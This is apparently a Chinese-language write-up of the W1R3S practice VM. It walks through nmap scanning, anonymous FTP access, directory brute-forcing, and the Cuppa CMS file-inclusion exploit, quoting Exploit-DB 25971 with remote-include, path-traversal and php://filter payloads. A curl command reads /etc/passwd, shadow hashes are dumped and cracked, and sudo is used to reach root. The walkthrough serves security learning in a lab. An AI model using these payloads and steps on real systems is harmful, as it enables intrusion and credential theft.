中國那個公司的網站做的最好看有什么平臺可以推廣
文章目錄
- w1r3s
- 主機發(fā)現(xiàn)
- 主機掃描
- 端口掃描
- tcp端口掃描
- UDP掃描
- 漏洞掃描
- 攻擊面分析
- FTP滲透
- 匿名登錄
- web滲透
- 目錄爆破
- cuppa cms文件包含漏洞getshell
- 提權
w1r3s
引言
近些日子看紅筆大佬的靶機精講視頻時,他的一句話讓我感受頗深,很多視頻在講解時,直接告訴你應該這么想,不應該那么想,但是其實在我們自己實戰(zhàn)中,到底怎么才能辨認出什么信息是有用的?我們不應該是去刻意記憶在某個滲透過程中的特定信息,而是仔細去分析,并在一次次的滲透經歷中摸索經驗,并不斷嘗試,在若干信息中突圍
主機發(fā)現(xiàn)
先ping一下kali的ip
主機掃描
sudo nmap -sn 192.168.236.0/24
用-sn參數(shù),(root下)發(fā)送arp請求(數(shù)據(jù)鏈路層的數(shù)據(jù)包),若果是非root用戶,則會發(fā)送tcp和icmp包。進行輕量級的偵察,得到活動的主機ip而不容易引起注意,有時候arp請求不會被所有主機響應,我們就可以通過icmp時間戳請求來進行主機發(fā)現(xiàn)(–send-ip)
另外順道一提,紅隊筆記大佬說道,不建議在滲透過程中使用kali的root權限,還是用普通用戶更好,需要root的時候sudo即可,在進行掃描階段的許多nmap指令都是需要root權限的,因此我就直接用root了,大家不要模仿!更規(guī)范的方式是每次都sudo。
啟動靶機前后,這個ip是新增的192.168.236.131
由nmap的掃描結果可發(fā)現(xiàn)靶機的地址為192.168.200.139 。實際測試過程中,應當在靶機上線之前進行一次掃描,靶機上線之后再掃描一次,對比發(fā)現(xiàn)上線的主機,更方便確認靶機的ip。下一步即針對這個ip進行端口掃描。
端口掃描
tcp端口掃描
已經拿到靶機的ip了,那我們下一步就是用nmap對這個ip進行端口掃描,看看開放了哪些端口和服務。命令如下:
nmap -sT nmap –min-rate 10000 –p- 192.168.236.131 -oA nmapscan/ports
參數(shù)說明
默認值:-sS
利用tcp協(xié)議的SYN標志位來探測目標主機的開放端口,發(fā)送一個SYN包,只建立第一步鏈接
這里指定-sT
發(fā)送完整的tcp三次握手請求,準確率更高,但流量和速度指標要求較高,還能夠防止某些主機waf過濾了單個SYN包的情況
nmap –min-rate 10000
10000是一個合理的速率,紅隊行動中會更慢
–p-
-p是默認1000個端口
指定-是掃描所有65535個端口
如果端口太多,手動一個一個輸不夠優(yōu)雅,將開放的端口號提取出來并賦給ports這個變量,使用時只需要輸入$port然后按下Tab補全
ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')
nmap -sT -sV -sC -O -p21,22,80,3306 192.168.236.131 -oA nmapscan/portdetail
參數(shù)說明
-sT 指定tcp掃描 發(fā)送tcp三次握手
-sV 探測端口服務及版本
-sC 默認腳本目錄
-O 探測操作系統(tǒng)
掃描結果
Nmap 7.94 scan initiated Mon Jul 29 11:08:13 2024 as: nmap -sT -sV -sC -O -p21,22,80,3306 -oA nmapscan/portdetail 192.168.236.131
Nmap scan report for 192.168.236.131
Host is up (0.00030s latency).PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.236.128
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
| 256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_ 256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:4B:A9:49 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (94%), Linux 3.13 - 3.16 (93%), Linux 4.10 (93%), Linux 3.4 - 3.10 (93%), Linux 4.4 (92%), Linux 3.10 (92%), Linux 3.16 - 4.6 (91%), Linux 2.6.32 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 29 11:08:33 2024 -- 1 IP address (1 host up) scanned in 20.10 seconds
UDP掃描
sudo nmap -sU --top-ports 20 192.168.236.131 -oA nmapscan/udp
參數(shù)說明
-sU 指定udp掃描
–top-ports 20 指定常用默認20個端口
nmap -sU -p21,22,80,3306 192.168.236.131
UDP掃描結果如上圖,結果表明3306端口關閉,其他三個端口是開放/被過濾狀態(tài)
漏洞掃描
nmap -script=vuln -p21,22,80,3306 192.168.236.131 -oA nmapscan/vuln
然后我們再使用nmap中自帶的腳本vuln進行漏洞掃描。nmap里面的腳本會對端口的歷史常見漏洞進行掃描探測,如果這一步就能發(fā)現(xiàn)可利用的漏洞,對后續(xù)的操作會很有啟發(fā)。 --script=vuln表示使用腳本vuln進行掃描,vuln是vulnrability的縮寫,這個腳本也會更新,不斷加入新的漏洞檢測。
攻擊面分析
一共有四個端口:21,22,80,3306。
(1)80端口是http的web端口,且已經知道里面可能有wordpress的cms,具有較大的攻擊面。這應該是最有可能的突破口
(2)22是ssh遠程登錄端口,通常沒啥漏洞,但是也不絕對,有可能存在弱口令或者暴力破解登錄啥的,但這不是我們直接入手的角度,應該放在最后考慮。
(3)21端口是ftp文件傳輸協(xié)議的端口,有可能存在匿名登錄,FTP服務器中也可能有一些信息,也有一定的攻擊面。FTP的突破口比較單一,操作比較容易。
(4)3306端口是MySQL數(shù)據(jù)庫的端口,前面漏洞掃描也并沒有發(fā)現(xiàn)太多的思路,不過如果能登錄數(shù)據(jù)庫,應該也有信息。
綜上,80端口是最有可能的突破口,但是由于FTP可能存在匿名登錄,21端口的操作比較容易,我們不妨先試試21端口,再看80端口,接著看3306數(shù)據(jù)庫,最后嘗試22遠程登錄。
FTP滲透
匿名登錄
ftp 192.168.236.131
匿名登錄:
username:anonymous
password:空
成功登陸后將里面的文件都下載
cd content
mget 0*.txt
...
cat 02.txt
01ec2d8fc11c493b25029fb1f47f39ce
hash-identifier查詢得到是md5,再去在線解密
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
明文It is easy, but not that easy…
用于解密字符串上下前后翻轉的在線網站
Upside Down Text | Flip Text, Type Upside Down, or Backwards Text
? qoυ?? ???υ? ???? ?? ??? ??? ?o ?oo??
? boυ?t th?υk th?? ?? the way to root! 密文
puno?? ?u????d do?s ‘op o? ??o? ?o ?o? ? ???? ??
**we have a ?ot of work to do‘ stop p?ay?ng around ** 密文
cat employee-names.txt
拿到公司員工信息,用戶名&職務
ascii generator生成ASCII藝術字體
web滲透
直接訪問http://192.168.236.131/能看到ubantu操作系統(tǒng)apache搭建服務的默認頁,這個頁面可能隱藏了一些開發(fā)人員留下的信息,需要我們?yōu)g覽一遍,再審計一下源代碼,發(fā)現(xiàn)沒有什么有用的信息,進行下一步目錄爆破
目錄爆破
這里爆出了這幾個目錄
/wordpress/wp-login.php
/administrator/ -> installation/
/javascript
先訪問/javascript試試,發(fā)現(xiàn)無權限進行訪問
/wordpress訪問后返回本地localhost,估計沒戲
訪問/administrator,得到一個installation界面
這里暴露了cms是cuppa,這是一個cms框架的安裝頁面,顯示了需要的環(huán)境版本等信息,這里只有一個next交互按鍵,紅筆大佬說,我們每一步的操作都需要謹慎,考慮是否會影響正常服務器的運行,操作是否會被上報給管理員,在我們對滲透操作進行充分評估后,我們選擇點擊next
填寫完信息后,點擊next提示創(chuàng)建成功,但Administrator創(chuàng)建失敗
cuppa cms文件包含漏洞getshell
這里不再嘗試,可能會存在sql注入等漏洞,先用searchsploit搜索一下cuppa cms是否有漏洞,照理來說,只要是有人使用的cms框架,就應該會或多或少存在漏洞
這里找到了一個遠程文件包含漏洞,我們把這個25971.txt下載下來看看怎么利用 :
searchsploit cuppa -m 25971.txt //-m指mirro,鏡像拉取
25971.txt文件內容
# Exploit Title : Cuppa CMS File Inclusion
# Date : 4 June 2013 //2013年的一個很老的洞
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/ //官網
# Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip //軟件鏈接
# Version : Beta
# Tested on : Window and Linux //只要使用了cuppa這個cms,對于window和linux機器都適用,--^----------,--------,-----,-------^--,| ||||||||| `--------' | O .. CWH Underground Hacking Team ..`+---------------------------^----------|`\_,-------, _________________________|/ XXXXXX /`| // XXXXXX / `\ // XXXXXX /\______(/ XXXXXX // XXXXXX /(________(`------'####################################
VULNERABILITY: PHP CODE INJECTION
####################################/alerts/alertConfigField.php (LINE: 22)-----------------------------------------------------------------------------
LINE 22:<?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------#####################################################
DESCRIPTION //描述
#####################################################An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
攻擊者可能包含帶有此漏洞的本地或遠程PHP文件或讀取非PHP文件。在創(chuàng)建將包含在當前文件中的文件名時使用用戶污染數(shù)據(jù)。該文件中的PHP代碼將被計算,非PHP代碼將嵌入到輸出中。此漏洞可能導致整個服務器被破壞。http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]#####################################################
EXPLOIT //漏洞利用
#####################################################http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwdMoreover, We could access Configuration.php source code via PHPStreamFor Example: //例子
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------Base64 Encode Output: //base64編碼的輸出
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------Base64 Decode Output: //base64編碼再解碼的輸出
-----------------------------------------------------------------------------
<?phpclass Configuration{public $host = "localhost";public $db = "cuppa";public $user = "root";public $password = "Db@dmin";public $table_prefix = "cu_";public $administrator_template = "default";public $list_limit = 25;public $token = "OBqIPqlFWf3X";public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";public $upload_default_path = "media/uploadsFiles";public $maximum_file_size = "5242880";public $secure_login = 0;public $secure_login_value = "";public $secure_login_redirect = "";}
?>
-----------------------------------------------------------------------------Able to read sensitive information via File Inclusion (PHP Stream)################################################################################################################Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
我們嘗試用http://target/cuppa/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd去訪問一下,將里面的target換成靶機ip
發(fā)現(xiàn)并沒有回顯
這里只能重新構造一下我們的payload,只能去試錯
將cuppa根目錄改為administrator試一下http://target/administrator/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd發(fā)現(xiàn)網頁有反應了 ,但還是沒有有用的信息
這時只能去進行代碼審計,去cms官方github找到alertConfigField.php
CuppaCMS/alerts/alertConfigField.php at master · CuppaCMS/CuppaCMS · GitHub
進行代碼審計,發(fā)現(xiàn)urlConfig是以post方式接受的
使用curl工具進行發(fā)包curl --help all | grep url
查看指令幫助
可以看到–data-urlencode 這個參數(shù)使用POST傳參并url編碼
kali執(zhí)行命令
curl --data-urlencode 'urlConfig=../../../../../../../../etc/passwd'http://192.168.236.131/administrator/alerts/alertConfigField.php
將帶有hash值的拿出來用john解密
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
vim shadow.hash
命令行模式的命令
命令 說明
:q! 強制退出vim,不保存
:q 退出vim
:wq! 強制保存并退出vim
:w <文件路徑> 另存為
:saveas <文件路徑> 另存為
:x 保存并退出vim
:wq 保存并退出vim
:set nu 顯示行號
:set shiftwidth=10 設置縮進為10個字符,以此類推(輸入Esc回到普通模式,再次嘗試>>看縮進是否變化)
:ce(center) 本行內容居中
:ri(right) 本行內容居右
:le(left) 本行內容居左
破解出來兩個賬戶的密碼
嘗試ssh連接,輸入密碼
成功登錄
id指令看到w1r3s用戶是有sudo權限的
提權
看是否能提權sudo -l ,輸入密碼
(ALL :ALL)ALL表示這個用戶基本就等于root,擁有所有權限
直接sudo /bin/bash 啟動一個新的bash會話,提權成功